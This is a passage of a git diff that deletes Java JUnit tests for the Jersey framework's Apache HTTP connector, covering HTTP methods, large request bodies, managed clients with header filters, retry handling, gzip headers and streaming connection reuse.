-        WebTarget r = getWebTarget(createPoolingClient());
-
-        for (int i = 0; i < 100; i++) {
-            r.request().post(Entity.text("POST"));
-        }
-    }
-
-    @Test
-    public void testPostNoProduce() {
-        WebTarget r = getWebTarget();
-        assertEquals(204, r.path("noproduce").request().post(Entity.text("POST")).getStatus());
-
-        Response cr = r.path("noproduce").request().post(Entity.text("POST"));
-        assertFalse(cr.hasEntity());
-        cr.close();
-    }
-
-
-    @Test
-    public void testPostNoConsumeProduce() {
-        WebTarget r = getWebTarget();
-        assertEquals(204, r.path("noconsumeproduce").request().post(null).getStatus());
-
-        Response cr = r.path("noconsumeproduce").request().post(Entity.text("POST"));
-        assertFalse(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPut() {
-        WebTarget r = getWebTarget();
-        assertEquals("PUT", r.request().put(Entity.text("PUT"), String.class));
-
-        Response cr = r.request().put(Entity.text("PUT"));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testDelete() {
-        WebTarget r = getWebTarget();
-        assertEquals("DELETE", r.request().delete(String.class));
-
-        Response cr = r.request().delete();
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPatch() {
-        WebTarget r = getWebTarget();
-        assertEquals("PATCH", r.request().method("PATCH", Entity.text("PATCH"), String.class));
-
-        Response cr = r.request().method("PATCH", Entity.text("PATCH"));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testAll() {
-        WebTarget r = getWebTarget();
-
-        assertEquals("GET", r.request().get(String.class));
-
-        assertEquals("POST", r.request().post(Entity.text("POST"), String.class));
-
-        assertEquals(204, r.path("noproduce").request().post(Entity.text("POST")).getStatus());
-
-        assertEquals(204, r.path("noconsumeproduce").request().post(null).getStatus());
-
-        assertEquals("PUT", r.request().post(Entity.text("PUT"), String.class));
-
-        assertEquals("DELETE", r.request().delete(String.class));
-    }
-
-
-    @Path("/error")
-    public static class ErrorResource {
-        @POST
-        public Response post(String entity) {
-            return Response.serverError().build();
-        }
-
-        @Path("entity")
-        @POST
-        public Response postWithEntity(String entity) {
-            return Response.serverError().entity("error").build();
-        }
-    }
-
-    @Test
-    public void testPostError() {
-        WebTarget r = createClient().target(getBaseUri()).path("error");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                final Response post = r.request().post(Entity.text("POST"));
-                post.close();
-            } catch (ClientErrorException ex) {
-            }
-        }
-    }
-
-    @Test
-    public void testPostErrorWithEntity() {
-        WebTarget r = createPoolingClient().target(getBaseUri()).path("error/entity");
-
-        for (int i = 0; i < 100; i++) {
-            try {
-                r.request().post(Entity.text("POST"));
-            } catch (ClientErrorException ex) {
-                String s = ex.getResponse().readEntity(String.class);
-                assertEquals("error", s);
-            }
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/HttpMethodWithClientFilterTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/HttpMethodWithClientFilterTest.java
deleted file mode 100644
index 9330689..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/HttpMethodWithClientFilterTest.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class HttpMethodWithClientFilterTest extends HttpMethodTest {
-
-    @Override
-    protected Client createClient() {
-        ClientConfig cc = new ClientConfig()
-                .register(LoggingFeature.class)
-                .connectorProvider(new ApacheConnectorProvider());
-        return ClientBuilder.newClient(cc);
-    }
-
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/LargeDataTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/LargeDataTest.java
deleted file mode 100644
index 7d6c764..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/LargeDataTest.java
+++ /dev/null
@@ -1,155 +0,0 @@
-/*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.ServerErrorException;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.Response.Status;
-import jakarta.ws.rs.core.StreamingOutput;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Test;
-
-/**
- * The LargeDataTest reproduces a problem when bytes of large data sent are incorrectly sent.
- * As a result, the request body is different than what was sent by the client.
- * <p>
- * In order to be able to inspect the request body, the generated data is a sequence of numbers
- * delimited with new lines. Such as
- * <pre><code>
- *     1
- *     2
- *     3
- *
- *     ...
- *
- *     57234
- *     57235
- *     57236
- *
- *     ...
- * </code></pre>
- * It is also possible to send the data to netcat: {@code nc -l 8080} and verify the problem is
- * on the client side.
- *
- * @author Stepan Vavra
- * @author Marek Potociar
- */
-public class LargeDataTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(LargeDataTest.class.getName());
-    private static final int LONG_DATA_SIZE = 1_000_000;  // for large set around 5GB, try e.g.: 536_870_912;
-    private static volatile Throwable exception;
-
-    private static StreamingOutput longData(long sequence) {
-        return out -> {
-            long offset = 0;
-            while (offset < sequence) {
-                out.write(Long.toString(offset).getBytes());
-                out.write('\n');
-                offset++;
-            }
-        };
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Test
-    public void postWithLargeData() throws Throwable {
-        WebTarget webTarget = target("test");
-
-        Response response = webTarget.request().post(Entity.entity(longData(LONG_DATA_SIZE), MediaType.TEXT_PLAIN_TYPE));
-
-        try {
-            if (exception != null) {
-
-                // the reason to throw the exception is that IntelliJ gives you an option to compare the expected with the actual
-                throw exception;
-            }
-
-            Assertions.assertEquals(Status.Family.SUCCESSFUL, response.getStatusInfo().getFamily(),
-                    "Unexpected error: " + response.getStatus());
-        } finally {
-            response.close();
-        }
-    }
-
-    @Path("/test")
-    public static class HttpMethodResource {
-
-        @POST
-        public Response post(InputStream content) {
-            try {
-
-                longData(LONG_DATA_SIZE).write(new OutputStream() {
-
-                    private long position = 0;
-//                    private long mbRead = 0;
-
-                    @Override
-                    public void write(final int generated) throws IOException {
-                        int received = content.read();
-
-                        if (received != generated) {
-                            throw new IOException("Bytes don't match at position " + position
-                                    + ": received=" + received
-                                    + ", generated=" + generated);
-                        }
-
-                        position++;
-//                        if (position % (1024 * 1024) == 0) {
-//                            mbRead++;
-//                            System.out.println("MB read: " + mbRead);
-//                        }
-                    }
-                });
-            } catch (IOException e) {
-                exception = e;
-                throw new ServerErrorException(e.getMessage(), 500, e);
-            }
-
-            return Response.ok().build();
-        }
-
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/ManagedClientTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/ManagedClientTest.java
deleted file mode 100644
index 6304991..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/ManagedClientTest.java
+++ /dev/null
@@ -1,268 +0,0 @@
-/*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.io.IOException;
-import java.lang.annotation.Documented;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientRequestFilter;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.container.ContainerRequestFilter;
-import jakarta.ws.rs.container.DynamicFeature;
-import jakarta.ws.rs.container.ResourceInfo;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.FeatureContext;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ClientBinding;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.Uri;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Jersey programmatic managed client test
- *
- * @author Marek Potociar
- */
-public class ManagedClientTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
-
-    /**
-     * Managed client configuration for client A.
-     *
-     * @author Marek Potociar (marek.potociar at oracle.com)
-     */
-    @ClientBinding(configClass = MyClientAConfig.class)
-    @Documented
-    @Retention(RetentionPolicy.RUNTIME)
-    @Target({ElementType.FIELD, ElementType.PARAMETER})
-    public static @interface ClientA {
-    }
-
-    /**
-     * Managed client configuration for client B.
-     *
-     * @author Marek Potociar (marek.potociar at oracle.com)
-     */
-    @ClientBinding(configClass = MyClientBConfig.class)
-    @Documented
-    @Retention(RetentionPolicy.RUNTIME)
-    @Target({ElementType.FIELD, ElementType.PARAMETER})
-    public @interface ClientB {
-    }
-
-    /**
-     * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
-     * to every method that is annotated with {@link Require &#64;Require} internal feature
-     * annotation.
-     *
-     * @author Marek Potociar
-     */
-    public static class CustomHeaderFeature implements DynamicFeature {
-
-        /**
-         * A method annotation to be placed on those resource methods to which a validating
-         * {@link CustomHeaderFilter} instance should be added.
-         */
-        @Retention(RetentionPolicy.RUNTIME)
-        @Documented
-        @Target(ElementType.METHOD)
-        public static @interface Require {
-
-            /**
-             * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
-             */
-            public String headerName();
-
-            /**
-             * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
-             */
-            public String headerValue();
-        }
-
-        @Override
-        public void configure(ResourceInfo resourceInfo, FeatureContext context) {
-            final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
-            if (va != null) {
-                context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
-            }
-        }
-    }
-
-    /**
-     * A filter for appending and validating custom headers.
-     * <p>
-     * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
-     * </p>
-     * <p>
-     * On the server side, validates that each request has a custom header with a configured name and value.
-     * If the validation fails a HTTP 403 response is returned.
-     * </p>
-     *
-     * @author Marek Potociar (marek.potociar at oracle.com)
-     */
-    public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
-
-        private final String headerName;
-        private final String headerValue;
-
-        public CustomHeaderFilter(String headerName, String headerValue) {
-            if (headerName == null || headerValue == null) {
-                throw new IllegalArgumentException("Header name and value must not be null.");
-            }
-            this.headerName = headerName;
-            this.headerValue = headerValue;
-        }
-
-        @Override
-        public void filter(ContainerRequestContext ctx) throws IOException { // validate
-            if (!headerValue.equals(ctx.getHeaderString(headerName))) {
-                ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
-                        .type(MediaType.TEXT_PLAIN)
-                        .entity(String
-                                .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
-                        .build());
-            }
-        }
-
-        @Override
-        public void filter(ClientRequestContext ctx) throws IOException { // append
-            ctx.getHeaders().putSingle(headerName, headerValue);
-        }
-    }
-
-    /**
-     * Internal resource accessed from the managed client resource.
-     *
-     * @author Marek Potociar (marek.potociar at oracle.com)
-     */
-    @Path("internal")
-    public static class InternalResource {
-
-        @GET
-        @Path("a")
-        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
-        public String getA() {
-            return "a";
-        }
-
-        @GET
-        @Path("b")
-        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
-        public String getB() {
-            return "b";
-        }
-    }
-
-    /**
-     * A resource that uses managed clients to retrieve values of internal
-     * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
-     * and require a specific custom header in a request to be set to a specific value.
-     * <p>
-     * Properly configured managed clients have a {@code CustomHeaderFilter} instance
-     * configured to insert the {@link CustomHeaderFeature.Require required} custom header
-     * with a proper value into the outgoing client requests.
-     * </p>
-     *
-     * @author Marek Potociar (marek.potociar at oracle.com)
-     */
-    @Path("public")
-    public static class PublicResource {
-
-        @Uri("a")
-        @ClientA // resolves to <base>/internal/a
-        private WebTarget targetA;
-
-        @GET
-        @Produces("text/plain")
-        @Path("a")
-        public String getTargetA() {
-            return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
-        }
-
-        @GET
-        @Produces("text/plain")
-        @Path("b")
-        public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
-            return targetB.request(MediaType.TEXT_PLAIN).get();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
-                .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    public static class MyClientAConfig extends ClientConfig {
-
-        public MyClientAConfig() {
-            this.register(new CustomHeaderFilter("custom-header", "a"));
-        }
-    }
-
-    public static class MyClientBConfig extends ClientConfig {
-
-        public MyClientBConfig() {
-            this.register(new CustomHeaderFilter("custom-header", "b"));
-        }
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    /**
-     * Test that a connection via managed clients works properly.
-     *
-     * @throws Exception in case of test failure.
-     */
-    @Test
-    public void testManagedClient() throws Exception {
-        final WebTarget resource = target().path("public").path("{name}");
-        Response response;
-
-        response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
-        assertEquals(200, response.getStatus());
-        assertEquals("a", response.readEntity(String.class));
-
-        response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
-        assertEquals(200, response.getStatus());
-        assertEquals("b", response.readEntity(String.class));
-    }
-
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/NoEntityTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/NoEntityTest.java
deleted file mode 100644
index 5be48c8..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/NoEntityTest.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.Response.Status;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class NoEntityTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @GET
-        public Response get() {
-            return Response.status(Status.CONFLICT).build();
-        }
-
-        @POST
-        public void post(String entity) {
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Test
-    public void testGet() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().get();
-            cr.close();
-        }
-    }
-
-    @Test
-    public void testGetWithClose() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().get();
-            cr.close();
-        }
-    }
-
-    @Test
-    public void testPost() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().post(null);
-        }
-    }
-
-    @Test
-    public void testPostWithClose() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().post(null);
-            cr.close();
-        }
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/RetryHandlerTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/RetryHandlerTest.java
deleted file mode 100644
index 48d0d29..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/RetryHandlerTest.java
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.io.IOException;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.HttpHeaders;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.client.RequestEntityProcessing;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.apache.http.client.HttpRequestRetryHandler;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-public class RetryHandlerTest extends JerseyTest {
-    private static final int READ_TIMEOUT_MS = 100;
-
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(RetryHandlerResource.class);
-    }
-
-    @Path("/")
-    public static class RetryHandlerResource {
-        private static volatile int postRequestNumber = 0;
-        private static volatile int getRequestNumber = 0;
-
-        // Cause a timeout on the first GET and POST request
-        @GET
-        public String get(@Context HttpHeaders h) {
-            if (getRequestNumber++ == 0) {
-                try {
-                    Thread.sleep(READ_TIMEOUT_MS * 10);
-                } catch (InterruptedException ex) {
-                    // ignore
-                }
-            }
-            return "GET";
-        }
-
-        @POST
-        public String post(@Context HttpHeaders h, String e) {
-            if (postRequestNumber++ == 0) {
-                try {
-                    Thread.sleep(READ_TIMEOUT_MS * 10);
-                } catch (InterruptedException ex) {
-                    // ignore
-                }
-            }
-            return "POST";
-        }
-    }
-
-    @Test
-    public void testRetryGet() throws IOException {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        cc.property(ApacheClientProperties.RETRY_HANDLER,
-                (HttpRequestRetryHandler) (exception, executionCount, context) -> true);
-        cc.property(ClientProperties.READ_TIMEOUT, READ_TIMEOUT_MS);
-        Client client = ClientBuilder.newClient(cc);
-
-        WebTarget r = client.target(getBaseUri());
-        assertEquals("GET", r.request().get(String.class));
-    }
-
-    @Test
-    public void testRetryPost() throws IOException {
-        ClientConfig cc = new ClientConfig();
-        cc.connectorProvider(new ApacheConnectorProvider());
-        cc.property(ApacheClientProperties.RETRY_HANDLER,
-                (HttpRequestRetryHandler) (exception, executionCount, context) -> true);
-        cc.property(ClientProperties.READ_TIMEOUT, READ_TIMEOUT_MS);
-        Client client = ClientBuilder.newClient(cc);
-
-        WebTarget r = client.target(getBaseUri());
-        assertEquals("POST", r.request()
-                              .property(ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.BUFFERED)
-                              .post(Entity.text("POST"), String.class));
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/SpecialHeaderTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/SpecialHeaderTest.java
deleted file mode 100644
index b572519..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/SpecialHeaderTest.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.message.GZipEncoder;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Assertions;
-import org.junit.jupiter.api.Disabled;
-import org.junit.jupiter.api.Test;
-
-/**
- *
- * @author Miroslav Fuksa
- */
-public class SpecialHeaderTest extends JerseyTest {
-    @Override
-    protected Application configure() {
-        return new ResourceConfig(MyResource.class, GZipEncoder.class, LoggingFeature.class);
-    }
-
-    @Path("resource")
-    public static class MyResource {
-        @GET
-        @Produces("text/plain")
-        @Path("encoded")
-        public Response getEncoded() {
-            return Response.ok("get").header(HttpHeaders.CONTENT_ENCODING, "gzip").build();
-        }
-
-        @GET
-        @Produces("text/plain")
-        @Path("non-encoded")
-        public Response getNormal() {
-            return Response.ok("get").build();
-        }
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-
-    @Test
-    @Disabled("Apache connector does not provide information about encoding for gzip and deflate encoding")
-    public void testEncoded() {
-        final Response response = target().path("resource/encoded").request("text/plain").get();
-        Assertions.assertEquals(200, response.getStatus());
-        Assertions.assertEquals("get", response.readEntity(String.class));
-        Assertions.assertEquals("gzip", response.getHeaderString(HttpHeaders.CONTENT_ENCODING));
-        Assertions.assertEquals("text/plain", response.getHeaderString(HttpHeaders.CONTENT_TYPE));
-        Assertions.assertEquals(3, response.getHeaderString(HttpHeaders.CONTENT_LENGTH));
-    }
-
-    @Test
-    public void testNonEncoded() {
-        final Response response = target().path("resource/non-encoded").request("text/plain").get();
-        Assertions.assertEquals(200, response.getStatus());
-        Assertions.assertEquals("get", response.readEntity(String.class));
-        Assertions.assertNull(response.getHeaderString(HttpHeaders.CONTENT_ENCODING));
-        Assertions.assertEquals("text/plain", response.getHeaderString(HttpHeaders.CONTENT_TYPE));
-        Assertions.assertEquals("3", response.getHeaderString(HttpHeaders.CONTENT_LENGTH));
-    }
-}
diff --git a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/StreamingTest.java b/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/StreamingTest.java
deleted file mode 100644
index a8521d7..0000000
--- a/connectors/apache-connector/src/test/java/org/glassfish/jersey/apache/connector/StreamingTest.java
+++ /dev/null
@@ -1,168 +0,0 @@
-/*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.apache.connector;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.concurrent.atomic.AtomicInteger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Invocation;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-import jakarta.inject.Singleton;
-
-import org.apache.http.impl.conn.PoolingHttpClientConnectionManager;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.server.ChunkedOutput;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * @author Petr Janouch
- */
-public class StreamingTest extends JerseyTest {
-    private PoolingHttpClientConnectionManager connectionManager;
-
-    /**
-     * Test that a data stream can be terminated from the client side.
-     */
-    @Test
-    public void clientCloseNoTimeoutTest() throws IOException {
-        clientCloseTest(-1);
-    }
-
-    @Test
-    public void clientCloseWithTimeOutTest() throws IOException {
-        clientCloseTest(1_000);
-    }
-
-    /**
-     * Tests that closing a response after completely reading the entity reuses the connection
-     */
-    @Test
-    public void reuseConnectionTest() throws IOException {
-        Response response = target().path("/streamingEndpoint/get").request().get();
-        InputStream is = response.readEntity(InputStream.class);
-        byte[] buf = new byte[8192];
-        is.read(buf);
-        is.close();
-        response.close();
-
-        assertEquals(1, connectionManager.getTotalStats().getAvailable());
-        assertEquals(0, connectionManager.getTotalStats().getLeased());
-    }
-
-    /**
-     * Tests that closing a request without reading the entity does not throw an exception.
-     */
-    @Test
-    public void clientCloseThrowsNoExceptionTest() throws IOException {
-        Response response = target().path("/streamingEndpoint/get").request().get();
-        response.close();
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        connectionManager = new PoolingHttpClientConnectionManager();
-        config.property(ApacheClientProperties.CONNECTION_MANAGER, connectionManager);
-        config.connectorProvider(new ApacheConnectorProvider());
-    }
-
-    @Override
